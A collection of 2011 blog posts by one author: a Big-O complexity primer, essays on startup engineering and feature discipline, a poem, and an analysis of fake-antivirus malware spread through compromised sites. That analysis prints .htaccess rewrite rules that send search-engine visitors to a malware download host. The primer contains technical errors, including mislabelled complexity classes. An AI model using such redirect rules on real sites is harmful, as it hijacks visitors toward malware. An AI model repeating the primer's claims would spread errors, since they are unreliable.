Recently, I was chatting with a friend of mine about pre-acquisition due diligence.  Charlie O’Rourke is one of the most seasoned technical executives I know. He’s been doing hardcore technology for over 30 years and is one of the pivotal brains behind FDC’s multi-billion dollar payment processing platforms.  The conversation revolved around a method he uses for identifying processing bottlenecks.
 
His thesis statement was that in a world where you need to spend as little as you can on an acquisition and still turn profit quickly, problems of poor algorithmic implementations are “a good thing to have”, because they are relatively easy to identify and fix.  This is true, assuming that you have his grasp of large volume transactional systems and you are handy with complex algorithms.

In today’s environment of rapid system assembly via the mashing of frameworks and off-the shelf functionality like CRM or ERP, the mastery of data structures by younger developers is almost unheard of.

It’s true, most developers will probably never write an algorithm from scratch. But sooner or later, every coder will have to either implement or maintain a routine that has some algorithmic functionality. Unfortunately, when it comes to efficiency, you can’t afford to make uninformed decisions, as even the smallest error in choosing an algorithm can send your application screaming in agony to Valhalla.

So if you have been suffering from recursive algorithmic nightmares, or have never fully understood the concept of algorithmic efficiency, (or plan to interview for a position on my team), here is a short and concise primer on the subject.

First let’s start with definitions.

Best or Bust:
An important principal to remember when selecting algorithms is that there is no such thing as the “best algorithm” for all problems. Efficiency will vary with data set size and availability of computational resources (memory and processor).  What is trivial in terms of processing power for the NSA, could be prohibitive for the average Joe.

Efficiency:
Algorithmic efficiency is the measure of how well a routine can perform a computational task. One analogy for algorithmic efficiency and its dependence on hardware (memory capacity and processor speed) is the task of moving a ton of bricks from one location to another a mile a way.  If you use a Lamborghini for this job (small storage but fast acceleration), you will be able to move a small amount of bricks very quickly, but the down side is that you will have to repeat the trip multiple times.  On the other hand, if you use a flatbed truck (large storage but slow acceleration) you will be able to complete the entire project in a single run, albeit at slower pace.

Notation:
The expression for algorithmic efficiency is commonly referred to as “Big O” notation.  This is a mathematical representation of how the algorithm grows over time. When plotted as a function, algorithms will remain flat, grow steadily over time, or follow varying curves.

The Pessimistic Nature of Algorithms:
In the world of algorithm analysis, we always assume the worst case scenario.  For example, if you have an unsorted list of unique numbers and it’s going to take your routine an hour to go through it, then it is possible in the best case scenario that you could find your value on the first try (taking only a minute). But following the worst case scenario theory, your number could end up being the last one in the list (taking you the full 60 minutes to find it). When we look at efficiency, it’s necessary to assume the worst case scenario.

 
Image 1: Sample Performance Plots of Various Algorithms

O(1)

Performance is constant for time (processor utilization) or space (memory utilization) regardless of the size of the data set size. When viewed on a graph, these functions show no-growth curve and remain flat.

O(1) algorithm’s performance is also independent of the size of the data set on which it operates.

An example of this algorithm is testing a value of a variable based on some pre defined hash table.  The single lookup involved in this operation eliminates any growth curves.

O(n)
Performance will grow linearly and in direct proportion to the size of the input data set.  The algorithm’s performance is directly related to the size of the data set processed. 

O(2N) or O(10 + 5N) denote that some specific business logic has been blended with the implementation (which should be avoided if possible).

O(N+M) is another way of saying that two data sets are involved, and that their combined size determines performance.

An example of this algorithm is finding an item in an unsorted list or a Linear Search that goes down a list, one item at a time, without jumping.  The time taken to search the list gets bigger at the same rate as the list does.

O(nⁿ)
Performance will be directly proportional to the square of the size of the input data set.  This happens when the algorithm processes each element of a set and that processing requires another pass through the set (this is the square value). Processing a lot of inner loops will also result in the form O(N³), O(N⁴), O(N^n.).

Examples of this type of algorithm are Bubble Sort, Shell Sort, Quicksort, Selection Sort or Insertion Sort.

O(2^N)
Processing growth (data set size and time) will double with each additional element of the input data set. The execution time of O(2N) can grow exponentially.

The 2 indicates that time or memory doubles for each new element in data set.  In reality, these types of algorithms do not scale well unless you have a lot of fancy hardware.

O(log n) and O(n log n) 
Processing is iterative and growth curves peak at the beginning of the execution and then slowly tapper off as the size of the data sets increases.  For example, if a data set contains 10 items, it will take one second to complete; if the data set contains 100 items, it will takes two seconds; if the data set containing 1000 items, it will take three seconds, and so on. Doubling the size of the input data set has little effect on its growth because after each iteration the data set will be halved. This makes O(log n) algorithms very efficient when dealing with large data sets.

Generally, log N implies log₂N, which refers to the number of times you can partition a data set in half, then partition the halves, and so on.  For example, for a data set with 1024 elements, you would perform 10 lookups (log₂1024 = 10) before either finding your value or running out of data.

A good illustration of this principal can be found in the Binary Search, it works by selecting the middle element of the data set and comparing it against the desired value to see if it matches. If the target value is higher than the value of the selected element, it will select the upper half of the data set and perform the comparison again. If the target value is lower than the value of the selected element, it will perform the operation against the lower half of the data set. The algorithm will continue to halve the data set with each search iteration until it finds the desired value or until it exhausts the data set.

The important thing to note about log2N type algorithms is that they grow slowly. Doubling N has a minor effect on its performance and the logarithmic curves flatten out smoothly.

An example of these type of algorithms are Binary Search, Heap sort, Quicksort, or Merge Sort

Scalability and Efficiency
An O(1) algorithm scales better than an O(log N),
which scales better than an O(N),
which scales better than an O(N log N),
which scales better than an O(N²),
which scales better than an O(2^N).

Scalability does not equal efficiency. A well-coded, O(N²) algorithm can outperform a poorly-coded O(N log N) algorithm, but this is only true for certain data set sizes and processing time. At one point, the performance curves of the two algorithms will cross and their efficiency will reverse.

What to Watch for when Choosing an Algorithm
The most common mistake when choosing an algorithm is the belief that an algorithm that was used successfully on a small data set will scale effectively to large data sets (factor 10x, 100x, etc.).

For most given situations, an O(N²) algorithm like Bubble Sort will work well. If you switch to a more complex O(N log N) algorithm like Quicksort you are likely to spend a long time refactoring your code and will only realize marginal performance gains.

More Resources
For a great illustration of various sorting algorithms in live action form, check out David R. Martin’s animated demo.  For more informal coverage of algorithms, check out Donald Knuth’s epic publication on the subject The Art of Computer Programming, Volumes 1-4.

If you are looking for some entertainment while learning the subject, check out AlgoRythimic’s series on sorting through dancing.

© Copyright 2011 Yaacov Apelbaum All Rights Reserved.

A quick feature inventory of most “mature” commercial software products like Microsoft Word, Lotus Notes, etc. reveals that more than half of their features are either never accessed or are outright useless (the MS Office 2010 ribbon is an example of a clever attempt to obfuscate feature gluttony and compensate for poor access to most common features).  If you are developing software in a startup, useless features will be the death of you and your product.  The secret to developing the right set of features is learning how to say no to the rest.

Whenever you say “yes” to a new feature, you agree to adopt a baby.  And with the baby come such responsibilities as changing it’s diaper, waking up at 3 AM to feed it, and paying for its education (e.g. architecting, developing, integrating, and testing).

To hit the market early and within budget, your feature development strategy must focus on creating the bare essential functionality. So in this vein, you should make it prove itself to be a “worthy survivor”. Your features need to be tough, resilient, and lean.  I have come to embrace the U.S Navy SEAL’s “hell week” screening approach before letting any one of them into my development cycle.

Whenever product, sales, marketing, or even the CEO requests a feature – it should instinctively meet a resounding no. If you don’t feel comfortable saying no, try a variation along the lines of “it sounds great, but not now honey, I have a splitting headache” or “I’d love to chat but I’ve got to run into a day long meeting right now”. If you are cornered and can’t escape, listen and take some notes, but stop there. There is no need to be heroic or do anything just yet.

If a request for a particular feature keeps surfacing over and over again from different sources, that’s when you know it’s time to take a closer look at it.  Only at this point should you start considering it seriously.

What do you say to the product team that complains vocally that you won’t adopt the top one hundred features on their wish list? Remind them that developing even the most basic feature is prohibitively expensive.  Alternatively, you can use the following list of tasks to illustrate the amount of work needed to insert a simple image on a MVC CMS driven web page:

To develop this feature, you need to (times are in minutes)…

1. Hold a management meeting to discuss it (30 min.)
2. Hold a feasibility meeting with the technical teams (30 min.)
3. Develop a schedule and if you use SCRUM work the feature into a sprint (30 min.)
4. Develop screen wireframes (60 min.)
5. Develop HTML mockups (60 min.)
6. Develop a POC (120 min)
7. Allocate resources that are working on other features (30 min.)
8. Develop an analysis and design document for system, CMS, DB impact, etc. (30 min.)
9. Create a code branch (30 min.)
10.   Write unit tests (120 min.)
11.   Write the code (120 min.)
12.   Peer review the code (30 min)
13.   Merge the code back into trunk (30 min.)
14.   Test, revise, test, revise…(60 min.)
15.   Modify user documentation (30 min.)
16.   Update the product guide (30 min.)
17.   Update the marketing and engineering collateral (60 min.)
18.   Refactor product cost and check to see if pricing structure is affected (60 min.)
19.   Deploy to production (30 min.)
20.   Cross you fingers and hope that everything worked out as planed

Total development cost = two days of work

As you can see from these steps, even the most basic feature request can cost two days of planning, design, development, testing, and documentation effort.  On average, feature tend to be 5 to 10 times more complex.

Sometime User Feature Request Can be Evil 
What about using your customers as the main driver for feature development?  Well, this strategy has several small flaws as well.  Your customers want everything under the sun, yesterday, and for free.  You should fault users for making feature requests. I encourage our customers to speak up and I diligently collect their input.  In the end, most of our functionality comes from user requests.  But as I have indicated, even for user feature requests, my first response is to always say no.  So what do I do with all these new customer feature requests? I read them, try to forget them and finally, for safe measure, I shred them.

It sounds terrible, I know, but don’t worry, if the feature request is important enough, it will keep on coming back and you won’t have any difficulty remembering it then. These persistent features will be the ones essential to your products that you will need to prioritize and implement.

It may not be apparent, but most software feature surveys revolve around questions like “What features are missing in our product?” or “What what would be the one feature you couldn’t live without?” or “What would make this product a killer app?”. Rather than continue to ask for more in this way, the questions that you should be asking are “If you could remove one feature, what would it be?” or “How would you simplify the product?”. Sometimes the best thing you can do for you product is to develop less.

Now go ahead and practice your newly acquired skill of just saying no.

© Copyright 2011 Yaacov Apelbaum All Rights Reserved.

Eagerly beginning the wall to scale,
Using only my hands and feet.
Resolved to follow the hardest trail,
I confidently place my cleat.

Suddenly, there’s no foothold to rest,
Desperately, I cling to the wall.
My heart is pounding in my chest,
My ascent slows to a crawl,

My feet and arms tire and shake,
The safety line invites me to bail.
Should I reach for the line and forego the ache,
Or continue to try, maybe fail?

The voice from below says: “Look to the right”,
I reach and grab a far hold.
Propelling free from my previous plight,
Good advice is more precious than gold.

It’s romantic to view the world as a wall,
Scaled heroically by pure self-esteem.
But in complex endeavors you’re certain to fall,
Without the support of a team.

© Copyright 2011 Yaacov Apelbaum All Rights Reserved.

One of the most challenging periods for any startup is passing through the “Valley of Death”. During this delicate phase, the organization’s burn rate is high and it has to rapidly achieve the following three goals:

1. Move from a proof of concept (POC) to a functional commercial product
2. Reach a cash flow break even
3. Transition form seed\angel funding to venture capital funding

For startups focusing on the development of SaaS products, this phase also marks an important millstone in the maturity of their product. With increased volume of production users comes stricter SLA’s and the need to implement more advanced operational ability in areas such as: change control, build automation, configuration management, monitoring and data security.

If you are managing the technology organization in an early stage startup, you have every reason to be concerned. To the outsider, the success and failure of startups often seems to be shrouded in mystery–part luck part black magic.  But ask a seasoned professional who has successfully gone through the startup meat grinder and he will tell you that success has nothing to do with luck, spells, or incantations.

Having worked with a number of startups, I have come to conclude that the most common reasons for product failure (beyond just not being able to build a viable POC) is the inability to control your product’s stability and scalability.

In the words of Ecclesiastes, there is a time and purpose for everything under heaven.  In the early stages of a startup’s life cycle,  process is negotiable.  Too much process may hinder the speed in which you can build a functional POC.  In later stages, reliable process and procedures (e.g. requirements, QA, unit testing, documentation, build automation, etc., ) are critical. They are the very foundations of any commercial grade product.  Poor quality and performance are self evident and no matter how much marketing spin and management coercion you use, if you are trying to secure an early stage VC funding round, your problems will rapidly surface during the due diligence process.

To avoid the startup blues, keep your eyes on the following areas. Factoring them into your deployment will help you deliver on time and on budget, with the proper scalability and highest quality possible.

Design Artifacts

1. Before converting your POC to a functional product, take the time to design your core components (i.e. CRM, CMS, DB access, security, API, etc.).  Create a high level design that identifies all major subsystems.  Once you know what they are, zoom into each subsystem and provide a low level design for each these as well.
2. Resist the temptation to code core functionality before you have a solid and approved scalable architecture (and the documentation for it). 
3. Let your team review and freely comment about the proposed platform architecture and deployment topology.  Just because a vocal team member has religious technology preferences doesn’t mean that everyone should convert.
4. No matter how good your technical staff is, when it comes to building complex core functionality (transaction engine, web services API, etc,) don’t give any single individual carte blanche to work in isolation without presenting their design to the entire team.
5. Document the product as you develop it. Building a complex piece of software without accurate documentation is akin to trying to operate a commercial jet without its flight manual.
6. To help spread the information and knowledge, establish a company-wide document depository (like a Wiki or SharePoint ) and store all your development and design documents under version control.  Discourage anyone from keeping independent runaway documents of the system.
7. Maintain an official (and versioned) folder for the platform documentation showing product structure and components, development roadmaps, and technical marketing materials. 

Testing and QA

1. If you are not writing unit tests you have no way to verify your product’s quality. Relying on QA to find your bugs means that by the time you do (if ever!) it will be too late and expensive to fix them.  Spend a little extra time and write unit tests for every line of code you deploy in production.  When refactoring old code, update the original unit test as well.
2. Just like most things in life, bugs have a lifecycle, they are born, they live and die.  Effectively tracking them as part of your build and QA process is a prerequisite for their timely resolution.  
3. If you are discovering a high critical bug count in your “code complete release” (half a percent of source code e.g. 500 bugs for a 100,000 line code base), you may not be production ready.  Stop further deployment and conduct a thorough root cause analysis to understand why you have so many issues. 
4. If your bug opening/closure rate remains steady (i.e. QA is opening bugs at the same rate development is closing them) and you have reoccurring bug bounces, you may need to reassess the competency of your development resources. This would also be a good time to have a serious heart to heart conversation with the developers responsible for the bugs. Be prepared for some tough HR decisions.

Monitoring and Verification

1. Just like you wouldn’t drive a car without a functional dashboard, you can’t run quality commercial software without real time visibility into its moving parts.  Implement a monitoring dashboard to track items such as daily builds (and breaks), servers performance, users transactions, DB table space, etc. 
2. Seeing is believing. Products like Splunk can help you aggregate your operational data.  Once you have this information, show it to your entire team. I personally like to pump it onto a large screen monitor in the development areas so everyone can get a glimpse.

Image 1: Splunk Dashboard in Action

Security, Scalability and Operations

1. Unless you are in the snake oil sales business, build your production environment from the get-go for scalability, security, and redundancy.  Don’t look for “bargains” on these technologies, leverage commercial-grade load balancers, firewalls, and backup solutions.
2. Your production environment is critical to your success, so don’t treat it as a second class citizen or try to manage it with part time resources. As you will quickly discover, a dedicated sys admin and a DBA who know your platform intimately are worth their weight in gold.
3. You must achieve operational capabilities in build automation, release management, bug tracking, and configuration management before going live.  If you don’t, be prepared to spend most of your productive time fixing boo-boos in the wee hours of the night.

Implementing many of the above mentioned measures will give you a significant tactical advantage as well as a strategic boost when negotiating with potential VCs.  Having these capabilities on your utility belt will also help you calmly face any future issues as your startup matures.

© Copyright 2011 Yaacov Apelbaum All Rights Reserved.

In the Anti-Virus Virus, I described how certain commercially produced malware propagates via specialty web sites that have been SOE’d to rank at the top of search engine results.

In this posting I will try to identify who is responsible for the malware authorship, its marketing and its distribution.

As a quick refresher: the malware, (a variety of bogus anti-virus applications), is downloaded when you click on a link in a page returned by a search engine.  The redirect to the malicious download only occurs when a user arrives at the site by way of the search engine. At the heart of this exploit are legitimate websites that have been compromised to provide a redirect to the rogue downloads.

This exploit is interesting because in order for it to work, it requires the user to visit the site indirectly.  If you navigate to the site via a bookmark or manually enter the address it will not result in a redirect. This clever aspect of the tactic reduces the chance that the site’s owner will suspect that there is something wrong with his site and thus delay its patching. Site administrators visiting their site directly will not see any evidence of the redirect. However, traffic coming from search engines, (which forms the majority of visits) will keep getting redirected to the malware download.

The underlining technique of such an attack is a modification of the .htaccess file (found on the Apache web server). In some cases this file is replaced completely. In others, it is just modified to include some new rules. The modified .htaccess files will contain settings similar to the following:

 

RewriteEngine On

RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]

RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC,OR]

RewriteCond %{HTTP_REFERER} .*mroodsn.*$ [NC,OR]

…

RewriteRule .* http://malewaresite-omitted/ [R=301,L]

This basically means: redirect any users who arrive from Google, Yahoo, MSN to “malewaresite”. In some cases, common error pages are also redirected by the .htaccess file, like in the following:

ErrorDocument 404 http://malewaresite-omitted/

The results of this re-route, is that unsuspecting users get sent to sites pushing malware.

The root cause in most of these cracks is poor user access controls which result in compromised file and folder permissions on shared hosting servers. This allows compromised accounts on the same physical server to overwrite the .htaccess files in otherwise unrelated sites.

Source and Authorship

I loaded Process Monitor and installed the copy of Antivitus2010 on a quarantined Microsoft Virtual PC running Microsoft XP Professional.  The installation created an entire registry hive that included several autoruns, browser search redirects, and a root kit.  I then fired-up TCPView and examined the application’s outgoing communication.  It didn’t take long before the malware opened a socket to a homing beacon and a list of staging and configuration servers, all of which were located in Russia (Moscow and Kiev).  The domains associated with the servers were registered by Bakasoftware.com which is currently hosted in Canada.

Interestingly, upon startup, the malware called the API GetKeyboardLayout checked for the presence of the following keyboard layouts:

• Russia
• Czech Republic
• Ukraine
• Belarus
• Estonia
• Latvia
• Lithuania

If it found one, it terminated itself, further proof that the designers targeted English users.  The analysis of the binaries also confirmed that they were compiled and linked using Russian regional settings.

Marketing and Distribution

For software to be commercially viable, it must have effective marketing and distribution channels.  The bogus Antivirus is no exception.  It turns out that even a few US companies have been associated with the distribution of this software.  Several of them have been named as defendants in the Federal Trade Commission’s complaint. Some of these include Innovative Marketing, Inc., a US company registered in Belize and ByteHosting Internet Services, LLC of Ohio, in addition to other American distributers including James Reno, Sam Jain, Daniel Sundin, Marc D’Souza, and Kristy Ross.

The Federal Trade Commission argued that the defendants have used complex online advertising techniques that violate the fair trade law in order to push a large number of fake security or system maintenance products including ”"WinFixer, WinAntivirus, DriveCleaner, WinAntispyware, ErrorProtector, ErrorSafe, SystemDoctor, AdvancedCleaner, Antivirus XP, and Antivirus 2008, 2009, 2010”.

We can gain a better glimpse into a typical malware distribution operation by examining the profile of Jain Shaileshkumar, a.k.a. Sam Jain. Mr. Jain is an internet entrepreneur and former CEO of the affiliate marketing network eFront. In 2005 he was ordered to pay $3.1 million to Symantec for selling counterfeit software and violating various IP laws. Jain operated several Internet-based companies including Discount Bob, Shifting Currents Financials, Inc., Innovative Marketing, Inc., Professional Management Consulting Inc., and Shopenter.com, LLC.

In December 2008, Jain was listed as a defendant in the Federal Trade Commission’s case against so-called "Scareware" applications such as WinFixer. The case alleges that several companies scammed consumers into buying these applications through malware and banner ads.

According to court records, as of February 11, 2009. Jain is officially listed as a fugitive from justice in the United States.

Affiliate Program

The affiliate program is made up of a network of associates. Once a member the likes of Sam Jain is accepted into the program, he is given access to an enterprise control panel permitting them to distribute different flavors of malware as well as a number of techniques for infecting internet-connected computers. Affiliates can make between 58 to 90 percent commission on sales of the software. Such generous commissions can explain why these types of malware products are so popular among spammers.

Image 1: Bakasoftware Malware Administrative Download Control Panel

In a true testament to their sophistication, the affiliate members have access to sophisticated web based statistics dashboard.  In it, the franchise owner can view KPIs that include: numbers of daily installs, number purchases by victim (and his CC number), refunds (Chargebacks), and commissions. With such access to real-time sales analytics, they are the envy of many fortune 500 sales organizations.

  
Table 1: Bakasoftware Malware Sales Dashboard

As you can see from Table 1, one affiliate installed 154,825 editions of the software in exactly 10 days and managed to get 2,772 of those to buy the cure. Any commission sales rep will tell you that a 2% conversation rate is very low, but with such a high commission structure, the affiliate was able to earn $146,525.25. A projection of this earning rate would generate over 5.5 million dollars a year. That’s some pocket change.

Who says that crime doesn’t pay?

© Copyright 2011 Yaacov Apelbaum All Rights Reserved.